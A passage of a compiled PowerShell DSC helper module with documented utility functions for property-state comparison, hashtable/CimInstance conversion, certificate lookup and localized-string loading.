= @{ ParameterName = $parameterName Expected = $DesiredValues.$parameterName Actual = $CurrentValues.$parameterName } # Check if the parameter is in compliance. $isPropertyInDesiredState = Test-DscPropertyState -Values @{ CurrentValue = $CurrentValues.$parameterName DesiredValue = $DesiredValues.$parameterName KeyProperties = $CimInstanceKeyProperties.$parameterName } if ($isPropertyInDesiredState) { Write-Verbose -Message ($script:localizedData.PropertyInDesiredState -f $parameterName) $parameterState['InDesiredState'] = $true } else { Write-Verbose -Message ($script:localizedData.PropertyNotInDesiredState -f $parameterName) $parameterState['InDesiredState'] = $false } $compareTargetResourceStateReturnValue += $parameterState } return $compareTargetResourceStateReturnValue } #EndRegion './Public/Compare-ResourcePropertyState.ps1' 242 #Region './Public/ConvertFrom-DscResourceInstance.ps1' -1 <# .SYNOPSIS Convert any object to hashtable. .DESCRIPTION This function is used to convert a PSObject into a hashtable. .PARAMETER InputObject The object that should be convert to hashtable. .PARAMETER OutputFormat Set the format you do want to convert the object. The default value is HashTable. It's the only value accepted at this time. .OUTPUTS System.Collections.Hashtable .EXAMPLE $object = [PSCustomObject] = @{ FirstName = 'John' LastName = 'Smith' } ConvertFrom-DscResourceInstance -InputObject $object This creates a PSCustomObject and converts its properties and values to key/value pairs in a hashtable. .EXAMPLE $objectArray = [PSCustomObject] = @{ FirstName = 'John' LastName = 'Smith' }, [PSCustomObject] = @{ FirstName = 'Peter' LastName = 'Smith' } $objectArray | ConvertFrom-DscResourceInstance This creates an array of PSCustomObject and converts their properties and values to key/value pairs in a hashtable. #> function ConvertFrom-DscResourceInstance { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [PSObject] $InputObject, [Parameter()] [ValidateSet('HashTable')] [String] $OutputFormat = 'HashTable' ) process { switch ($OutputFormat) { 'HashTable' { $result = @{} foreach ($obj in $InputObject) { $obj.PSObject.Properties | Foreach-Object { $result[$_.Name] = $_.Value } } } } return $result } } #EndRegion './Public/ConvertFrom-DscResourceInstance.ps1' 78 #Region './Public/ConvertTo-CimInstance.ps1' -1 <# .SYNOPSIS Converts a hashtable into a CimInstance array. .DESCRIPTION This function is used to convert a hashtable into MSFT_KeyValuePair objects. These are stored as an CimInstance array. DSC cannot handle hashtables but CimInstances arrays storing MSFT_KeyValuePair. .PARAMETER Hashtable A hashtable with the values to convert. .PARAMETER ClassName The ClassName of the CimInstance to create. Default value is to 'MSFT_KeyValuePair'. .PARAMETER Namespace The Namespace of the CimInstance to create. Default value is to 'root/microsoft/Windows/DesiredStateConfiguration'. .OUTPUTS System.Object[] .EXAMPLE ConvertTo-CimInstance -Hashtable @{ String = 'a string' Bool = $true Int = 99 Array = 'a, b, c' } This example returns an CimInstance with the provided hashtable values. #> function ConvertTo-CimInstance { [CmdletBinding()] [OutputType([System.Object[]])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [System.Collections.Hashtable] $Hashtable, [Parameter()] [ValidateNotNullOrEmpty()] [System.String] $ClassName = 'MSFT_KeyValuePair', [Parameter()] [ValidateNotNullOrEmpty()] [System.String] $Namespace = 'root/microsoft/Windows/DesiredStateConfiguration' ) process { foreach ($item in $Hashtable.GetEnumerator()) { New-CimInstance -ClassName $ClassName -Namespace $Namespace -Property @{ Key = $item.Key Value = if ($item.Value -is [array]) { $item.Value -join ',' } else { $item.Value } } -ClientOnly } } } #EndRegion './Public/ConvertTo-CimInstance.ps1' 75 #Region './Public/ConvertTo-HashTable.ps1' -1 <# .SYNOPSIS Converts CimInstances into a hashtable. .DESCRIPTION This function is used to convert a CimInstance array containing MSFT_KeyValuePair objects into a hashtable. .PARAMETER CimInstance An array of CimInstances or a single CimInstance object to convert. .OUTPUTS System.Collections.Hashtable .EXAMPLE $newInstanceParameters = @{ ClassName = 'MSFT_KeyValuePair' Namespace = 'root/microsoft/Windows/DesiredStateConfiguration' ClientOnly = $true } $cimInstance = [Microsoft.Management.Infrastructure.CimInstance[]] ( (New-CimInstance @newInstanceParameters -Property @{ Key = 'FirstName' Value = 'John' }), (New-CimInstance @newInstanceParameters -Property @{ Key = 'LastName' Value = 'Smith' }) ) ConvertTo-HashTable -CimInstance $cimInstance This creates a array of CimInstances using the class name MSFT_KeyValuePair and passes it to ConvertTo-HashTable which returns a hashtable. #> function ConvertTo-HashTable { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ParameterSetName = 'CimInstance')] [AllowEmptyCollection()] [Microsoft.Management.Infrastructure.CimInstance[]] $CimInstance ) begin { $result = @{ } } process { foreach ($ci in $CimInstance) { $result.Add($ci.Key, $ci.Value) } } end { $result } } #EndRegion './Public/ConvertTo-HashTable.ps1' 66 #Region './Public/Find-Certificate.ps1' -1 <# .SYNOPSIS Locates one or more certificates using the passed certificate selector parameters. .DESCRIPTION A common function to find certificates based on multiple search filters, including, but not limited to: Thumbprint, Friendly Name, DNS Names, Key Usage, Issuers, etc. Locates one or more certificates using the passed certificate selector parameters. If more than one certificate is found matching the selector criteria, they will be returned in order of descending expiration date. .PARAMETER Thumbprint The thumbprint of the certificate to find. .PARAMETER FriendlyName The friendly name of the certificate to find. .PARAMETER Subject The subject of the certificate to find. .PARAMETER DNSName The subject alternative name of the certificate to export must contain these values. .PARAMETER Issuer The issuer of the certificate to find. .PARAMETER KeyUsage The key usage of the certificate to find must contain these values. .PARAMETER EnhancedKeyUsage The enhanced key usage of the certificate to find must contain these values. .PARAMETER Store The Windows Certificate Store Name to search for the certificate in. Defaults to 'My'. .PARAMETER AllowExpired Allows expired certificates to be returned. .OUTPUTS System.Security.Cryptography.X509Certificates.X509Certificate2 .EXAMPLE Find-Certificate -Thumbprint '1111111111111111111111111111111111111111' Return certificate that matches thumbprint. .EXAMPLE Find-Certificate -KeyUsage 'DataEncipherment', 'DigitalSignature' Return certificate(s) that have specific key usage. .EXAMPLE Find-Certificate -DNSName 'www.fabrikam.com', 'www.contoso.com' Return certificate(s) filtered on specific DNS Names. .EXAMPLE Find-Certificate -Subject 'CN=contoso, DC=com' Return certificate(s) with specific subject. .EXAMPLE Find-Certificate -Issuer 'CN=contoso-ca, DC=com' -AllowExpired $true Return all certificates from specific issuer, including expired certificates. .EXAMPLE Find-Certificate -EnhancedKeyUsage @('Client authentication','Server Authentication') -AllowExpired $true Return all certificates that can be used for server or client authentication, including expired certificates. .EXAMPLE Find-Certificate -FriendlyName 'My IIS Site SSL Cert' Return certificate based on FriendlyName. #> function Find-Certificate { [CmdletBinding()] [OutputType([System.Security.Cryptography.X509Certificates.X509Certificate2[]])] param ( [Parameter()] [System.String] $Thumbprint, [Parameter()] [System.String] $FriendlyName, [Parameter()] [System.String] $Subject, [Parameter()] [System.String[]] $DNSName, [Parameter()] [System.String] $Issuer, [Parameter()] [System.String[]] $KeyUsage, [Parameter()] [System.String[]] $EnhancedKeyUsage, [Parameter()] [System.String] $Store = 'My', [Parameter()] [Boolean] $AllowExpired = $false ) $certPath = Join-Path -Path 'Cert:\LocalMachine' -ChildPath $Store if (-not (Test-Path -Path $certPath)) { # The Certificte Path is not valid New-InvalidArgumentException ` -Message ($script:localizedData.CertificatePathError -f $certPath) ` -ArgumentName 'Store' } # if # Assemble the filter to use to select the certificate $certFilters = @() if ($PSBoundParameters.ContainsKey('Thumbprint')) { $certFilters += @('($_.Thumbprint -eq $Thumbprint)') } # if if ($PSBoundParameters.ContainsKey('FriendlyName')) { $certFilters += @('($_.FriendlyName -eq $FriendlyName)') } # if if ($PSBoundParameters.ContainsKey('Subject')) { $certFilters += @('($_.Subject -eq $Subject)') } # if if ($PSBoundParameters.ContainsKey('Issuer')) { $certFilters += @('($_.Issuer -eq $Issuer)') } # if if (-not $AllowExpired) { $certFilters += @('(((Get-Date) -le $_.NotAfter) -and ((Get-Date) -ge $_.NotBefore))') } # if if ($PSBoundParameters.ContainsKey('DNSName')) { $certFilters += @('(@(Compare-Object -ReferenceObject $_.DNSNameList.Unicode -DifferenceObject $DNSName | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if if ($PSBoundParameters.ContainsKey('KeyUsage')) { $certFilters += @('(@(Compare-Object -ReferenceObject ($_.Extensions.KeyUsages -split ", ") -DifferenceObject $KeyUsage | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if if ($PSBoundParameters.ContainsKey('EnhancedKeyUsage')) { $certFilters += @('(@(Compare-Object -ReferenceObject ($_.EnhancedKeyUsageList.FriendlyName) -DifferenceObject $EnhancedKeyUsage | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if # Join all the filters together $certFilterScript = '(' + ($certFilters -join ' -and ') + ')' Write-Verbose ` -Message ($script:localizedData.SearchingForCertificateUsingFilters -f $store, $certFilterScript) ` -Verbose $certs = Get-ChildItem -Path $certPath | Where-Object -FilterScript ([ScriptBlock]::Create($certFilterScript)) # Sort the certificates if ($certs.count -gt 1) { $certs = $certs | Sort-Object -Descending -Property 'NotAfter' } # if return $certs } # end function Find-Certificate #EndRegion './Public/Find-Certificate.ps1' 194 #Region './Public/Get-ComputerName.ps1' -1 <# .SYNOPSIS Returns the computer name cross-plattform. .DESCRIPTION Returns the computer name cross-plattform. The variable `$env:COMPUTERNAME` does not exist cross-platform which hinders development and testing on macOS and Linux. Instead this command can be used to get the computer name cross-plattform. .OUTPUTS System.String .EXAMPLE Get-ComputerName Returns the computer name regardless of platform. #> function Get-ComputerName { [CmdletBinding()] [OutputType([System.String])] param () $computerName = $null if ($IsLinux -or $IsMacOs) { $computerName = hostname } else { <# We could run 'hostname' on Windows too, but $env:COMPUTERNAME is more widely used. #> $computerName = $env:COMPUTERNAME } return $computerName } #EndRegion './Public/Get-ComputerName.ps1' 42 #Region './Public/Get-DscProperty.ps1' -1 <# .SYNOPSIS Returns DSC resource properties that is part of a class-based DSC resource. .DESCRIPTION Returns DSC resource properties that is part of a class-based DSC resource. The properties can be filtered using name, attribute, or if it has been assigned a non-null value. .PARAMETER InputObject The object that contain one or more key properties. .PARAMETER Name Specifies one or more property names to return. If left out all properties are returned. .PARAMETER ExcludeName Specifies one or more property names to exclude. .PARAMETER Attribute Specifies one or more property attributes to return. If left out all property types are returned. .PARAMETER HasValue Specifies to return only properties that has been assigned a non-null value. If left out all properties are returned regardless if there is a value assigned or not. .OUTPUTS System.Collections.Hashtable .EXAMPLE Get-DscProperty -InputObject $this Returns all DSC resource properties of the DSC resource. .EXAMPLE $this | Get-DscProperty Returns all DSC resource properties of the DSC resource. .EXAMPLE Get-DscProperty -InputObject $this -Name @('MyProperty1', 'MyProperty2') Returns the DSC resource properties with the specified names. .EXAMPLE Get-DscProperty -InputObject $this -Attribute @('Mandatory', 'Optional') Returns the DSC resource properties that has the specified attributes. .EXAMPLE Get-DscProperty -InputObject $this -Attribute @('Optional') -HasValue Returns the DSC resource properties that has the specified attributes and has a non-null value assigned. .OUTPUTS [System.Collections.Hashtable] .NOTES This command only works with nullable data types, if using a non-nullable type make sure to make it nullable, e.g. [Nullable[System.Int32]]. #> function Get-DscProperty { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [PSObject] $InputObject, [Parameter()] [System.String[]] $Name, [Parameter()] [System.String[]] $ExcludeName, [Parameter()] [ValidateSet('Key', 'Mandatory', 'NotConfigurable', 'Optional')] [Alias('Type')] [System.String[]] $Attribute, [Parameter()] [System.Management.Automation.SwitchParameter] $HasValue ) process { $property = $InputObject.PSObject.Properties.Name | Where-Object -FilterScript { <# Return all properties if $Name is not assigned, or if assigned just those properties. #> (-not $Name -or $_ -in $Name) -and <# Return all properties if $ExcludeName is not assigned. Skip property if it is included in $ExcludeName. #> (-not $ExcludeName -or ($_ -notin $ExcludeName)) -and # Only return the property if it is a DSC property. $InputObject.GetType().GetMember($_).CustomAttributes.Where( { $_.AttributeType.Name -eq 'DscPropertyAttribute' } ) } if (-not [System.String]::IsNullOrEmpty($property)) { if ($PSBoundParameters.ContainsKey('Attribute')) { $propertiesOfAttribute = @() $propertiesOfAttribute += $property | Where-Object -FilterScript { $InputObject.GetType().GetMember($_).CustomAttributes.Where( { <# To simplify the code, ignoring that this will compare MemberNAme against type 'Optional' which does not exist. #> $_.NamedArguments.MemberName -in $Attribute } ).NamedArguments.TypedValue.Value -eq $true } # Include all optional parameter if it was requested. if ($Attribute -contains 'Optional') { $propertiesOfAttribute += $property | Where-Object -FilterScript { $InputObject.GetType().GetMember($_).CustomAttributes.Where( { $_.NamedArguments.MemberName -notin @('Key', 'Mandatory', 'NotConfigurable') } ) } } $property = $propertiesOfAttribute } } # Return a hashtable containing each key property and its value. $getPropertyResult = @{} foreach ($currentProperty in $property) { if ($HasValue.IsPresent) { $isAssigned = Test-DscPropertyIsAssigned -Name $currentProperty -InputObject $InputObject if (-not $isAssigned) { continue } } $getPropertyResult.$currentProperty = $InputObject.$currentProperty } return $getPropertyResult } } #EndRegion './Public/Get-DscProperty.ps1' 173 #Region './Public/Get-EnvironmentVariable.ps1' -1 <# .SYNOPSIS Returns the value from an environment variable from a specified target. .DESCRIPTION Returns the value from an environment variable from a specified target. This command returns `$null` if the environment variable does not exist. .PARAMETER Name Specifies the environment variable name. .PARAMETER FromTarget Specifies the target to return the value from. Defaults to 'Session'. .OUTPUTS System.String .EXAMPLE Get-EnvironmentVariable -Name 'PSModulePath' Returns the value for the environment variable PSModulePath. .EXAMPLE Get-EnvironmentVariable -Name 'PSModulePath' -FromTarget 'Machine' Returns the value for the environment variable PSModulePath from the Machine target. .OUTPUTS [System.String] #> function Get-EnvironmentVariable { [CmdletBinding()] [OutputType([System.String])] param ( [Parameter(Mandatory = $true)] [System.String] $Name, [Parameter()] [ValidateSet('Session', 'User', 'Machine')] [System.String] $FromTarget = 'Session' ) switch ($FromTarget) { 'Session' { $value = [System.Environment]::GetEnvironmentVariable($Name) } 'User' { $value = [System.Environment]::GetEnvironmentVariable($Name, 'User') } 'Machine' { $value = [System.Environment]::GetEnvironmentVariable($Name, 'Machine') } } return $value } #EndRegion './Public/Get-EnvironmentVariable.ps1' 68 #Region './Public/Get-LocalizedData.ps1' -1 <# .SYNOPSIS Gets language-specific data into scripts and functions based on the UI culture that is specified or that is selected for the operating system. .DESCRIPTION The Get-LocalizedData command dynamically retrieves strings from a subdirectory whose name matches the UI language set for the current user of the operating system. It is designed to enable scripts to display user messages in the UI language selected by the current user. Optionally the `Get-LocalizedData` saves the hash table in the variable that is specified by the value of the `BindingVariable` parameter. Get-LocalizedData imports data from .psd1 files in language-specific subdirectories of the script directory and saves them in a local variable that is specified in the command. The command selects the subdirectory and file based on the value of the $PSUICulture automatic variable. When you use the local variable in the script to display a user message, the message appears in the user's UI language. You can use the parameters of G-LocalizedData to specify an alternate UI culture, path, and file name, to add supported commands, and to suppress the error message that appears if the .psd1 files are not found. The G-LocalizedData command supports the script internationalization initiative that was introduced in Windows PowerShell 2.0. This initiative aims to better serve users worldwide by making it easy for scripts to display user messages in the UI language of the current user. For more information about this and about the format of the .psd1 files, see about_Script_Internationalization. ```mermaid graph LR Argument{Parameter set?} -->|"Only UICulture (DefaultUICulture = en-US)"| UseUIC Argument -->|"Only DefaultUICulture"| GetUIC[[Get OS Culture]] GetUIC --> LCID127{"Is LCID = 127?<br>(in variant culture)"} Argument -->|"Both UICulture and DefaultUICulture"| UseUIC UseUIC[Use UICulture] --> LCID127 LCID127 -->|"No"| SetUIC[[Set UICulture]] LCID127 -->|"Yes"| UseDC[Use default culture] UseDC --> SetUIC SetUIC --> SearchFile[[Find UICulture<br>localization file]] SearchFile --> FileExist FileExist{localization<br>file exist?} -->|"No"| ParentCulture{Parent culture<br>exist?} ParentCulture -->|"Yes"| UseParentC[Use parent culture] UseParentC --> SetUIC ParentCulture -->|"No"| EvalDefaultC{Evaluate<br>default>br>culture?} EvalDefaultC -->|"Yes"| UseDC EvalDefaultC -->|"No"| EvalStillLCID127{Still invariant?} FileExist -->|"Yes"| EvalStillLCID127 EvalStillLCID127 -->|"Yes, Use Get-LocalizedDataForInvariantCulture"| GetFile[[Get localization strings]] EvalStillLCID127 -->|"No, Use Import-LocalizedData"| GetFile ``` .PARAMETER BindingVariable Specifies the variable into which the text strings are imported. Enter a variable name without a dollar sign ($). In Windows PowerShell 2.0, this parameter is required. In Windows PowerShell 3.0, this parameter is optional. If you omit this parameter, Import-LocalizedData returns a hash table of the text strings. The hash table is passed down the pipeline or displayed at the command line. When using Import-LocalizedData to replace default text strings specified in the DATA section of a script, assign the DATA section to a variable and enter the name of the DATA section variable in the value of the BindingVariable parameter. Then, when Import-LocalizedData saves the imported content in the BindingVariable, the imported data will replace the default text strings. If you are not specifying default text strings, you can select any variable name. If the BindingVariable parameter is not specified, Import-LocalizedData returns a hashtable of the text strings. The hash table is passed down the pipeline or displayed at the command line. .PARAMETER UICulture Specifies an alternate UI culture. The default is the value of the $PsUICulture automatic variable. Enter a UI culture in <language>-<region> format, such as en-US, de-DE, or ar-SA. The value of the UICulture parameter determines the language-specific subdirectory (within the base directory) from which Import-LocalizedData gets the .psd1 file for the script. The command searches for a subdirectory with the same name as the value of the UICulture parameter or the $PsUICulture automatic variable, such as de-DE or ar-SA. If it cannot find the directory, or the directory does not contain a .psd1 file for the script, it searches for a subdirectory with the name of the language code, such as de or ar. If it cannot find the subdirectory or .psd1 file, the command fails and the data is displayed in the default language specified in the script. .PARAMETER BaseDirectory Specifies the base directory where the .psd1 files are located. The default is the directory where the script is located. Import-LocalizedData searches for the .psd1 file for the script in a language-specific subdirectory of the base directory. .PARAMETER FileName Specifies the name of the data file (.psd1) to be imported. Enter a file name. You can specify a file name that does not include its .psd1 file name extension, or you can specify the file name including the .psd1 file name extension. The FileName parameter is required when Import-LocalizedData is not used in a script. Otherwise, the parameter is optional and the default value is the base name of the script. You can use this parameter to direct Import-LocalizedData to search for a different .psd1 file. For example, if the FileName is omitted and the script name is FindFiles.ps1, Import-LocalizedData searches for the FindFiles.psd1 data file. .PARAMETER SupportedCommand Specifies cmdlets and functions that generate only data. Use this parameter to include cmdlets and functions that you have written or tested. For more information, see about_Script_Internationalization. .PARAMETER DefaultUICulture Specifies which UICulture to default to if current UI culture or its parents culture don't have matching data file. For example, if you have a data file in 'en-US' but not in 'en' or 'en-GB' and your current culture is 'en-GB', you can default back to 'en-US'. .NOTES Before using Import-LocalizedData, localize your user messages. Format the messages for each locale (UI culture) in a hash table of key/value pairs, and save the hash table in a file with the same name as the script and a .psd1 file name extension. Create a directory under the script directory for each supported UI culture, and then save the .psd1 file for each UI culture in the directory with the UI culture name. For example, localize your user messages for the de-DE locale and format them in a hash table. Save the hash table in a <ScriptName>.psd1 file. Then create a de-DE subdirectory under the script directory, and save the de-DE <ScriptName>.psd1 file in the de-DE subdirectory. Repeat this method for each locale that you support. Import-LocalizedData performs a structured search for the localized user messages for a script. Import-LocalizedData begins the search in the directory where the script file is located (or the value of the BaseDirectory parameter). It then searches within the base directory for a subdirectory with the same name as the value of the $PsUICulture variable (or the value of the UICulture parameter), such as de-DE or ar-SA. Then, it searches in that subdirectory for a .psd1 file with the same name as the script (or the value of the FileName parameter). If Import-LocalizedData cannot find a subdirectory with the name of the UI culture, or the subdirectory does not contain a .psd1 file for the script, it searches for a .psd1 file for the script in a subdirectory with the name of the language code, such as de or ar. If it cannot find the subdirectory or .psd1 file, the command fails, the data is displayed in the default language in the script, and an error message is displayed explaining that the data could not be imported. To suppress the message and fail gracefully, use the ErrorAction common parameter with a value of SilentlyContinue. If Import-LocalizedData finds the subdirectory and the .psd1 file, it imports the hash table of user messages into the value of the BindingVariable parameter in the command. Then, when you display a message from the hash table in the variable, the localized message is displayed. For more information, see about_Script_Internationalization. This command should preferably be used at the top of each resource PowerShell module script file (.psm1). It will automatically look for a file in the folder for the current UI culture, or default to the UI culture folder 'en-US'. The localized strings file can be named either `<ScriptFileName>.psd1`, e.g. `DSC_MyResource.psd1`, or suffixed with `strings`, e.g. `DSC_MyResource.strings.psd1`. Read more about localization in the section [Localization](https://dsccommunity.org/styleguidelines/localization/) in the DSC Community style guideline. .OUTPUTS System.Collections.Hashtable .EXAMPLE $script:localizedData = Get-LocalizedData Imports the localized strings for the current OS UI culture. If the localized folder does not exist then the localized strings for the default UI culture 'en-US' is returned. .EXAMPLE $script:localizedData = Get-LocalizedData -DefaultUICulture 'de-DE' Imports the localized strings for the current OS UI culture. If the localized folder does not exist then the localized strings for the default UI culture 'de-DE' is returned. .EXAMPLE $script:localizedData = Get-LocalizedData -UICulture 'de-DE' Imports the localized strings for UI culture 'de-DE'. If the localized folder does not exist then the localized strings for the default UI culture 'en-US' is returned. $script:localizedData = Get-LocalizedData -UICulture 'de-DE' -DefaultUICulture 'en-GB' Imports the localized strings for UI culture 'de-DE'. If the localized folder does not exist then the localized strings for the default UI culture 'en-GB' is returned. #> function Get-LocalizedData { [CmdletBinding(DefaultParameterSetName = 'DefaultUICulture')] param ( [Parameter(Position = 0)] [Alias('Variable')] [ValidateNotNullOrEmpty()] [System.String] $BindingVariable, [Parameter(Position = 1)] [System.String] $UICulture, [Parameter()] [System.String] $BaseDirectory, [Parameter()] [System.String] $FileName, [Parameter()] [System.String[]] $SupportedCommand, [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [System.String] $DefaultUICulture = 'en-US' ) if ($PSBoundParameters.ContainsKey('FileName')) { Write-Debug -Message ('Looking for provided file with base name: ''{0}''.' -f $FileName) } else { if ($myInvocation.ScriptName) { $file = [System.IO.FileInfo] $myInvocation.ScriptName } else { $file = [System.IO.FileInfo] $myInvocation.MyCommand.Module.Path } $FileName = $file.BaseName $null = $PSBoundParameters.Add('FileName', $file.Name) Write-Debug -Message ('Looking for resolved file with base name: ''{0}''.' -f $FileName) } if ($PSBoundParameters.ContainsKey('BaseDirectory')) { $callingScriptRoot = $BaseDirectory } else { $callingScriptRoot = $MyInvocation.PSScriptRoot $null = $PSBoundParameters.Add('BaseDirectory', $callingScriptRoot) } # If UICulture wasn't specified use the OS configured one, otherwise use the one specified. if (-not $PSBoundParameters.ContainsKey('UICulture')) { $currentCulture = Get-UICulture Write-Debug -Message ("Using OS configured culture:`n{0}" -f ($currentCulture | Out-String)) $PSBoundParameters['UICulture'] = $currentCulture.Name } else { $currentCulture = New-Object -TypeName 'System.Globalization.CultureInfo' -ArgumentList @($UICulture) Write-Debug -Message ("Using specified culture:`n{0}" -f ($currentCulture | Out-String)) } <# If the LCID is 127 (invariant) then use default UI culture anyway. If we can't create the CultureInfo object, it's probably because the Globalization-invariant mode is enabled for the DotNet runtime (breaking change in .Net) See more information in issue https://github.com/dsccommunity/DscResource.Common/issues/11. https://docs.microsoft.com/en-us/dotnet/core/compatibility/globalization/6.0/culture-creation-invariant-mode #> $evaluateDefaultCulture = $true if ($currentCulture.LCID -eq 127) # cSpell: ignore LCID { try { # Current culture is invariant, let's directly evaluate the DefaultUICulture $currentCulture = New-Object -TypeName 'System.Globalization.CultureInfo' -ArgumentList @($DefaultUICulture) Write-Debug -Message ("Invariant culture. Using default culture instead:`n{0}" -f ($currentCulture | Out-String)) # No need to evaluate the DefaultUICulture later, as we'll start with this (in the while loop below) $evaluateDefaultCulture = $false } catch { # The code will now skip to the InvokeCommand part and execute the Get-LocalizedDataForInvariantCulture # function instead of Import-LocalizedData. Write-Debug -Message 'The Globalization-Invariant mode is enabled, only the Invariant Culture is allowed.' } Write-Debug -Message ('Setting parameter UICulture to ''{0}''.' -f $DefaultUICulture) $PSBoundParameters['UICulture'] = $DefaultUICulture } [System.String] $languageFile = '' [System.String[]] $localizedFileNamesToTry = @( ('{0}.psd1' -f $FileName) ('{0}.strings.psd1' -f $FileName) ) while (-not [System.String]::IsNullOrEmpty($currentCulture.Name) -and [System.String]::IsNullOrEmpty($languageFile)) { Write-Debug -Message ('Looking for Localized data file using the current culture ''{0}''.' -f $currentCulture.Name) foreach ($localizedFileName in $localizedFileNamesToTry) { $filePath = [System.IO.Path]::Combine($callingScriptRoot, $CurrentCulture.Name, $localizedFileName) if (Test-Path -Path $filePath) { Write-Debug -Message "Found '$filePath'." $languageFile = $filePath # Set the filename to the file we found. $PSBoundParameters['FileName'] = $localizedFileName # Exit loop if as we found the first filename. break } else { Write-Debug -Message "File '$filePath' not found." } } # If the file wasn't found one, try parent culture or the default culture. if ([System.String]::IsNullOrEmpty($languageFile)) { # Evaluate the parent culture if there is a valid one (not invariant culture). if ($currentCulture.Parent -and [System.String] $currentCulture.Parent.Name) { $currentCulture = $currentCulture.Parent Write-Debug -Message ('Setting parameter UICulture to ''{0}''.' -f $currentCulture.Name) $PSBoundParameters['UICulture'] = $currentCulture.Name Write-Debug -Message ("Did not find matching file for current culture, testing parent culture:`n{0}" -f ($currentCulture | Out-String)) } else { # If we haven't evaluated the default culture yet, do it now. if ($evaluateDefaultCulture) { $evaluateDefaultCulture = $false <# Evaluating the default UI culture (which defaults to 'en-US'). If the default UI culture cannot be resolved, we'll revert to the current culture because then most likely the invariant mode is enabled for the DotNet runtime. #> try { $currentCulture = New-Object -TypeName 'System.Globalization.CultureInfo' -ArgumentList @($DefaultUICulture) Write-Debug -Message ("Did not find matching file for current or parent culture, testing default culture:`n{0}" -f ($currentCulture | Out-String)) } catch { # Set the OS culture to revert to invariant culture (LCID 127). $currentCulture = Get-UICulture Write-Debug -Message ("Unable to create the [CultureInfo] object for default culture '{0}', most likely due to invariant mode being enabled. Reverting to current (invariant) culture:`n{1}" -f $DefaultUICulture, ($currentCulture | Out-String)) <# Already tried every possible way. Exit the while loop and hand over to Import-LocalizedData or Get-LocalizedDataForInvariantCultureMode #> break } Write-Debug -Message ('Setting parameter UICulture to ''{0}''.' -f $DefaultUICulture) $PSBoundParameters['UICulture'] = $DefaultUICulture } else { Write-Debug -Message 'Already evaluated everything we could, continue and let the command called next throw an exception.' break } } } } if ($currentCulture.LCID -eq 127) { $getLocalizedDataForInvariantCultureParameters = Get-Command -Name 'Get-LocalizedDataForInvariantCulture' -ErrorAction 'Stop' $PSBoundParameters.Keys.ForEach({ if ($_ -notin $getLocalizedDataForInvariantCultureParameters.Parameters.Keys) { $null = $PSBoundParameters.Remove($_) } }) Write-Debug ('Because culture is invariant, calling Get-LocalizedDataForInvariantCulture using parameters: {0}' -f ($PSBoundParameters | Out-String)) # This works around issue with Import-LocalizedData when pwsh configured as invariant. $localizedData = Get-LocalizedDataForInvariantCulture @PSBoundParameters } else { Write-Debug ('Calling Microsoft.PowerShell.Utility\Import-LocalizedData using parameters: {0}' -f ($PSBoundParameters | Out-String)) # Removes the parameter DefaultUICulture so that isn't used when calling Import-LocalizedData. $null = $PSBoundParameters.Remove('DefaultUICulture') $localizedData = Microsoft.PowerShell.Utility\Import-LocalizedData @PSBoundParameters } if ($PSBoundParameters.ContainsKey('BindingVariable')) { # The command we called returned the localized data in the binding variable. $boundLocalizedData = Get-Variable -Name $BindingVariable -ValueOnly -ErrorAction 'Ignore' if ($boundLocalizedData) { Write-Debug -Message ('Binding variable ''{0}'' to localized data.' -f $BindingVariable) # Bringing the variable to the parent scope Set-Variable -Scope 1 -Name $BindingVariable -Force -ErrorAction 'SilentlyContinue' -Value $boundLocalizedData } } else { Write-Debug -Message 'Returning localized data.' return $localizedData } } #EndRegion './Public/Get-LocalizedData.ps1' 465 #Region './Public/Get-LocalizedDataForInvariantCulture.ps1' -1 <# .SYNOPSIS Gets language-specific data when the culture is invariant. This directly gets the data from the DefaultUICulture, but without calling "Import-LocalizedData" which throws when the pwsh session is configured to be of invariant culture (as in the Guest Config agent). .DESCRIPTION The Get-LocalizedDataForInvariantCulture grabs the data from a localized string data psd1 file, without calling Import-LocalizedData which errors when called in a powershell session with the Globalization-Invariant mode enabled (https://docs.microsoft.com/en-us/dotnet/core/compatibility/globalization/6.0/culture-creation-invariant-mode). Instead, this function reads and executes the content of a psd1 file in a constrained language mode that only allows basic ConvertFrom-stringData. .PARAMETER BaseDirectory Specifies the base directory where the .psd1 files are located. The default is the directory where the script is located. Import-LocalizedData searches for the .psd1 file for the script in a language-specific subdirectory of the base directory. .PARAMETER FileName Specifies the base name of the data file (.psd1) to be imported. Enter a file name. You can specify a file name that does not include its .psd1 file name extension, or you can specify the file name including the .psd1 file name extension. The FileName parameter is required when Get-LocalizedDataForInvariantCulture is not used in a script. Otherwise, the parameter is optional and the default value is the base name of the calling script. You can use this parameter to directly search for a specific .psd1 file. For example, if the FileName is omitted and the script name is FindFiles.ps1, Get-LocalizedDataForInvariantCulture searches for the FindFiles.psd1 or FindFiles.strings.psd1 data file. .PARAMETER SupportedCommand Specifies cmdlets and functions that generate only data. Use this parameter to include cmdlets and functions that you have written or tested. For more information, see about_Script_Internationalization. .PARAMETER DefaultUICulture Specifies which UICulture to default to if current UI culture or its parents culture don't have matching data file. For example, if you have a data file in 'en-US' but not in 'en' or 'en-GB' and your current culture is 'en-GB', you can default back to 'en-US'. .NOTES The Get-LocalizedDataForInvariantCulture should only be used when we want to avoid using Import-LocalizedData, such as when doing so will fail because the powershell session is in Globalization-Invariant mode: https://docs.microsoft.com/en-us/dotnet/core/compatibility/globalization/6.0/culture-creation-invariant-mode Before using Get-LocalizedDataForInvariantCulture, localize your user messages to the desired default locale (UI culture, usually en-US) in a hash table of key/value pairs, and save the hash table in a file with the same name as the script or module with a .psd1 file name extension. Create a directory under the module base or script's parent directory for each supported UI culture, and then save the .psd1 file for each UI culture in the directory with the UI culture name. For example, localize your user messages for the de-DE locale and format them in a hash table. Save the hash table in a <ScriptName>.psd1 file. Then create a de-DE subdirectory under the script directory, and save the de-DE <ScriptName>.psd1 file in the de-DE subdirectory. Repeat this method for each locale that you support. Import-LocalizedData performs a structured search for the localized user messages for a script. Get-LocalizedDataForInvariantCulture 